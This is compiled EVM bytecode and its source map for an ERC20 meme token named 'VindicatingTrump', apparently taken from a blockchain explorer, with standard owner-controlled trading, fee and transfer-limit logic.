565b6040516102549190611847565b60405180910390f35b348015610268575f80fd5b5061027161054f565b005b34801561027e575f80fd5b5061028761069d565b005b348015610294575f80fd5b5061029d61074f565b005b3480156102aa575f80fd5b506102b3610a33565b6040516102c0919061191e565b60405180910390f35b3480156102d4575f80fd5b506102dd610a5a565b6040516102ea9190611716565b60405180910390f35b3480156102fe575f80fd5b50610319600480360381019061031491906117c7565b610a97565b604051610326919061181f565b60405180910390f35b34801561033a575f80fd5b50610343610ab4565b60405161035091906118cb565b60405180910390f35b348015610364575f80fd5b5061037f600480360381019061037a9190611937565b610ac5565b60405161038c9190611847565b60405180910390f35b3480156103a0575f80fd5b506103bb60048036038101906103b691906118e4565b610b47565b005b60606040518060400160405280601081526020017f56696e6469636174696e675472756d7000000000000000000000000000000000815250905090565b5f61040d610406610c1d565b8484610c24565b6001905092915050565b5f6012600a6104269190611ad1565b6409cb81ff406104369190611b1b565b905090565b5f610447848484610de7565b6104e384610453610c1d565b8460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61049a610c1d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546104de9190611b5c565b610c24565b600190509392505050565b5f6012905090565b600360029054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610557610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105da90611bd9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106a5610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611bd9565b60405180910390fd5b610739610417565b600481905550610747610417565b600581905550565b610757610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107da90611bd9565b60405180910390fd5b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d29190611c0b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610958573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097c9190611c0b565b6040518363ffffffff1660e01b8152600401610999929190611c36565b602060405180830381865afa1580156109b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d89190611c0b565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f56637472756d7000000000000000000000000000000000000000000000000000815250905090565b5f610aaa610aa3610c1d565b8484610de7565b6001905092915050565b60038054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b4f610c1d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd290611bd9565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990611ccd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf790611d5b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dda9190611847565b60405180910390a3505050565b5f8111610e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2090611dc3565b60405180910390fd5b60035f9054906101000a900460ff16610f4757610e44610a33565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea890611e2b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610f46578160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610fac57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fc35750600360019054906101000a900460ff165b15610fd857610fd383838361124b565b611246565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561103e575060065461103b30610509565b10155b15611092576001600360016101000a81548160ff02191690831515021790555061106f61106a30610509565b61135b565b5f600360016101000a81548160ff0219169083151502179055506110916115b8565b5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561113b5750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111de57600454811115611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e93565b60405180910390fd5b6005548161119284610509565b61119c9190611eb1565b11156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490611f2e565b60405180910390fd5b5b611238838260085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611628565b905061124583838361124b565b5b505050565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112979190611b5c565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112ea9190611eb1565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161134e9190611847565b60405180910390a3505050565b5f600267ffffffffffffffff81111561137757611376611f4c565b5b6040519080825280602002602001820160405280156113a55781602001602082028036833780820191505090505b50905030815f815181106113bc576113bb611f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611460573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114849190611c0b565b8160018151811061149857611497611f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506114fe3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c24565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016115819594939291906120f1565b5f604051808303815f87803b158015611598575f80fd5b505af19250505080156115a9575060015b6115b357506115b5565b505b50565b5f4711156116265760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611624573d5f803e3d5ffd5b505b565b5f808261164457600360029054906101000a900460ff16611653565b60038054906101000a900460ff165b60ff1690505f8103611668578391505061169f565b5f606482866116779190611b1b565b6116819190612176565b905061168e86308361124b565b808561169a9190611b5c565b925050505b9392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6116e8826116a6565b6116f281856116b0565b93506117028185602086016116c0565b61170b816116ce565b840191505092915050565b5f6020820190508181035f83015261172e81846116de565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117638261173a565b9050919050565b61177381611759565b811461177d575f80fd5b50565b5f8135905061178e8161176a565b92915050565b5f819050919050565b6117a681611794565b81146117b0575f80fd5b50565b5f813590506117c18161179d565b92915050565b5f80604083850312156117dd576117dc611736565b5b5f6117ea85828601611780565b92505060206117fb858286016117b3565b9150509250929050565b5f8115159050919050565b61181981611805565b82525050565b5f6020820190506118325f830184611810565b92915050565b61184181611794565b82525050565b5f60208201905061185a5f830184611838565b92915050565b5f805f6060848603121561187757611876611736565b5b5f61188486828701611780565b935050602061189586828701611780565b92505060406118a6868287016117b3565b9150509250925092565b5f60ff82169050919050565b6118c5816118b0565b82525050565b5f6020820190506118de5f8301846118bc565b92915050565b5f602082840312156118f9576118f8611736565b5b5f61190684828501611780565b91505092915050565b61191881611759565b82525050565b5f6020820190506119315f83018461190f565b92915050565b5f806040838503121561194d5761194c611736565b5b5f61195a85828601611780565b925050602061196b85828601611780565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156119f7578086048111156119d3576119d2611975565b5b60018516156119e25780820291505b80810290506119f0856119a2565b94506119b7565b94509492505050565b5f82611a0f5760019050611aca565b81611a1c575f9050611aca565b8160018114611a325760028114611a3c57611a6b565b6001915050611aca565b60ff841115611a4e57611a4d611975565b5b8360020a915084821115611a6557611a64611975565b5b50611aca565b5060208310610133831016604e8410600b8410161715611aa05782820a905083811115611a9b57611a9a611975565b5b611aca565b611aad84848460016119ae565b92509050818404811115611ac457611ac3611975565b5b81810290505b9392505050565b5f611adb82611794565b9150611ae6836118b0565b9250611b137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611a00565b905092915050565b5f611b2582611794565b9150611b3083611794565b9250828202611b3e81611794565b91508282048414831517611b5557611b54611975565b5b5092915050565b5f611b6682611794565b9150611b7183611794565b9250828203905081811115611b8957611b88611975565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bc36020836116b0565b9150611bce82611b8f565b602082019050919050565b5f6020820190508181035f830152611bf081611bb7565b9050919050565b5f81519050611c058161176a565b92915050565b5f60208284031215611c2057611c1f611736565b5b5f611c2d84828501611bf7565b91505092915050565b5f604082019050611c495f83018561190f565b611c56602083018461190f565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611cb76024836116b0565b9150611cc282611c5d565b604082019050919050565b5f6020820190508181035f830152611ce481611cab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d456022836116b0565b9150611d5082611ceb565b604082019050919050565b5f6020820190508181035f830152611d7281611d39565b9050919050565b7f5a65726f20616d6f756e740000000000000000000000000000000000000000005f82015250565b5f611dad600b836116b0565b9150611db882611d79565b602082019050919050565b5f6020820190508181035f830152611dda81611da1565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f611e156013836116b0565b9150611e2082611de1565b602082019050919050565b5f6020820190508181035f830152611e4281611e09565b9050919050565b7f547820616d6f756e74206c696d697400000000000000000000000000000000005f82015250565b5f611e7d600f836116b0565b9150611e8882611e49565b602082019050919050565b5f6020820190508181035f830152611eaa81611e71565b9050919050565b5f611ebb82611794565b9150611ec683611794565b9250828201905080821115611ede57611edd611975565b5b92915050565b7f57616c6c657420616d6f756e74206c696d6974000000000000000000000000005f82015250565b5f611f186013836116b0565b9150611f2382611ee4565b602082019050919050565b5f6020820190508181035f830152611f4581611f0c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611fd2611fcd611fc884611fa6565b611faf565b611794565b9050919050565b611fe281611fb8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201a81611759565b82525050565b5f61202b8383612011565b60208301905092915050565b5f602082019050919050565b5f61204d82611fe8565b6120578185611ff2565b935061206283612002565b805f5b838110156120925781516120798882612020565b975061208483612037565b925050600181019050612065565b5085935050505092915050565b5f6120b96120b46120af8461173a565b611faf565b61173a565b9050919050565b5f6120ca8261209f565b9050919050565b5f6120db826120c0565b9050919050565b6120eb816120d1565b82525050565b5f60a0820190506121045f830188611838565b6121116020830187611fd9565b81810360408301526121238186612043565b905061213260608301856120e2565b61213f6080830184611838565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61218082611794565b915061218b83611794565b92508261219b5761219a612149565b5b82820490509291505056fea264697066735822122027d188045ef896d992c2528d727a0c4358e190358691e6de8b5d68db17229e3464736f6c63430008190033

Deployed Bytecode Sourcemap

2643:5575:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3796:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4629:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4073:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4798:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3982:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2897:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4176:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;730:148;;;;;;;;;;;;;:::i;:::-;;5824:131;;;;;;;;;;;;;:::i;:::-;;5415:248;;;;;;;;;;;;;:::i;:::-;;516:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3887:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4303:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2927:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4478:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;886:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3796:83;3833:13;3866:5;;;;;;;;;;;;;;;;;3859:12;;3796:83;:::o;4629:161::-;4704:4;4721:39;4730:12;:10;:12::i;:::-;4744:7;4753:6;4721:8;:39::i;:::-;4778:4;4771:11;;4629:161;;;;:::o;4073:95::-;4126:7;2993:2;3051;:15;;;;:::i;:::-;3037:11;:29;;;;:::i;:::-;4146:14;;4073:95;:::o;4798:266::-;4896:4;4913:36;4923:6;4931:9;4942:6;4913:9;:36::i;:::-;4960:74;4969:6;4977:12;:10;:12::i;:::-;5027:6;4991:11;:19;5003:6;4991:19;;;;;;;;;;;;;;;:33;5011:12;:10;:12::i;:::-;4991:33;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;4960:8;:74::i;:::-;5052:4;5045:11;;4798:266;;;;;:::o;3982:83::-;4023:5;2993:2;4041:16;;3982:83;:::o;2897:23::-;;;;;;;;;;;;;:::o;4176:119::-;4242:7;4269:9;:18;4279:7;4269:18;;;;;;;;;;;;;;;;4262:25;;4176:119;;;:::o;730:148::-;653:12;:10;:12::i;:::-;643:22;;:6;;;;;;;;;;:22;;;635:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;837:1:::1;800:40;;821:6;::::0;::::1;;;;;;;;800:40;;;;;;;;;;;;868:1;851:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;730:148::o:0;5824:131::-;653:12;:10;:12::i;:::-;643:22;;:6;;;;;;;;;;:22;;;635:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5892:13:::1;:11;:13::i;:::-;5878:11;:27;;;;5934:13;:11;:13::i;:::-;5916:15;:31;;;;5824:131::o:0;5415:248::-;653:12;:10;:12::i;:::-;643:22;;:6;;;;;;;;;;:22;;;635:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5507:6:::1;;;;;;;;;;;5470:15;;:44;;;;;;;;;;;;;;;;;;5550:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5532:52;;;5593:4;5600:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5532:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5525:4;;:98;;;;;;;;;;;;;;;;;;5651:4;5634:14;;:21;;;;;;;;;;;;;;;;;;5415:248::o:0;516:79::-;554:7;581:6;;;;;;;;;;;574:13;;516:79;:::o;3887:87::-;3926:13;3959:7;;;;;;;;;;;;;;;;;3952:14;;3887:87;:::o;4303:167::-;4381:4;4398:42;4408:12;:10;:12::i;:::-;4422:9;4433:6;4398:9;:42::i;:::-;4458:4;4451:11;;4303:167;;;;:::o;2927:24::-;;;;;;;;;;;;:::o;4478:143::-;4559:7;4586:11;:18;4598:5;4586:18;;;;;;;;;;;;;;;:27;4605:7;4586:27;;;;;;;;;;;;;;;;4579:34;;4478:143;;;;:::o;886:102::-;653:12;:10;:12::i;:::-;643:22;;:6;;;;;;;;;;:22;;;635:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;974:6:::1;965;::::0;:15:::1;;;;;;;;;;;;;;;;;;886:102:::0;:::o;93:98::-;146:7;173:10;166:17;;93:98;:::o;5072:335::-;5182:1;5165:19;;:5;:19;;;5157:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5263:1;5244:21;;:7;:21;;;5236:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5345:6;5315:11;:18;5327:5;5315:18;;;;;;;;;;;;;;;:27;5334:7;5315:27;;;;;;;;;;;;;;;:36;;;;5383:7;5367:32;;5376:5;5367:32;;;5392:6;5367:32;;;;;;:::i;:::-;;;;;;;;5072:335;;;:::o;6168:1026::-;6266:1;6257:6;:10;6249:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;6301:14;;;;;;;;;;;6296:177;;6348:7;:5;:7::i;:::-;6340:15;;:4;:15;;;6332:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6414:1;6398:18;;:4;;;;;;;;;;;:18;;;6394:68;;6444:2;6437:4;;:9;;;;;;;;;;;;;;;;;;6394:68;6296:177;6505:4;6489:21;;:4;:21;;;:44;;;;6528:4;6514:19;;:2;:19;;;6489:44;:56;;;;6537:8;;;;;;;;;;;6489:56;6485:142;;;6562:32;6577:4;6583:2;6587:6;6562:14;:32::i;:::-;6609:7;;6485:142;6649:4;;;;;;;;;;;6643:10;;:2;:10;;;:60;;;;;6685:18;;6657:24;6675:4;6657:9;:24::i;:::-;:46;;6643:60;6639:231;;;6731:4;6720:8;;:15;;;;;;;;;;;;;;;;;;6750:42;6767:24;6785:4;6767:9;:24::i;:::-;6750:16;:42::i;:::-;6818:5;6807:8;;:16;;;;;;;;;;;;;;;;;;6838:20;:18;:20::i;:::-;6639:231;6894:4;;;;;;;;;;;6886:12;;:4;:12;;;:28;;;;;6908:6;;;;;;;;;;;6902:12;;:2;:12;;;;6886:28;6882:207;;;6949:11;;6939:6;:21;;6931:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;7038:15;;7028:6;7003:22;7021:2;7003:9;:22::i;:::-;:31;;;;:::i;:::-;:50;;6995:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;6882:207;7110:33;7118:4;7124:6;7138:4;;;;;;;;;;;7132:10;;:2;:10;;;7110:7;:33::i;:::-;7101:42;;7154:32;7169:4;7175:2;7179:6;7154:14;:32::i;:::-;6168:1026;;;;:::o;5963:197::-;6068:6;6049:9;:15;6059:4;6049:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;6102:6;6085:9;:13;6095:2;6085:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;6141:2;6126:26;;6135:4;6126:26;;;6145:6;6126:26;;;;;;:::i;:::-;;;;;;;;5963:197;;;:::o;7535:516::-;7602:21;7640:1;7626:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7602:40;;7671:4;7653;7658:1;7653:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7697:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7687:4;7692:1;7687:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;7732:62;7749:4;7764:15;;;;;;;;;;;7782:11;7732:8;:62::i;:::-;7809:15;;;;;;;;;;;:66;;;7890:11;7916:1;7932:4;7951:9;;;;;;;;;;;7975:15;7809:192;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7805:239;;8026:7;;;7805:239;7591:460;7535:516;;:::o;8059:156::-;8137:1;8113:21;:25;8109:99;;;8155:9;;;;;;;;;;;:18;;:41;8174:21;8155:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8109:99;8059:156::o;7202:325::-;7280:7;7300:11;7314:6;:25;;7333:6;;;;;;;;;;;7314:25;;;7323:7;;;;;;;;;;7314:25;7300:39;;;;7361:1;7354:3;:8;7350:27;;7371:6;7364:13;;;;;7350:27;7388:17;7423:3;7417;7408:6;:12;;;;:::i;:::-;:18;;;;:::i;:::-;7388:38;;7437:46;7452:4;7466;7473:9;7437:14;:46::i;:::-;7510:9;7501:6;:18;;;;:::i;:::-;7494:25;;;;7202:325;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:102;6141:8;6188:5;6185:1;6181:13;6160:34;;6099:102;;;:::o;6207:848::-;6268:5;6275:4;6299:6;6290:15;;6323:5;6314:14;;6337:712;6358:1;6348:8;6345:15;6337:712;;;6453:4;6448:3;6444:14;6438:4;6435:24;6432:50;;;6462:18;;:::i;:::-;6432:50;6512:1;6502:8;6498:16;6495:451;;;6927:4;6920:5;6916:16;6907:25;;6495:451;6977:4;6971;6967:15;6959:23;;7007:32;7030:8;7007:32;:::i;:::-;6995:44;;6337:712;;;6207:848;;;;;;;:::o;7061:1073::-;7115:5;7306:8;7296:40;;7327:1;7318:10;;7329:5;;7296:40;7355:4;7345:36;;7372:1;7363:10;;7374:5;;7345:36;7441:4;7489:1;7484:27;;;;7525:1;7520:191;;;;7434:277;;7484: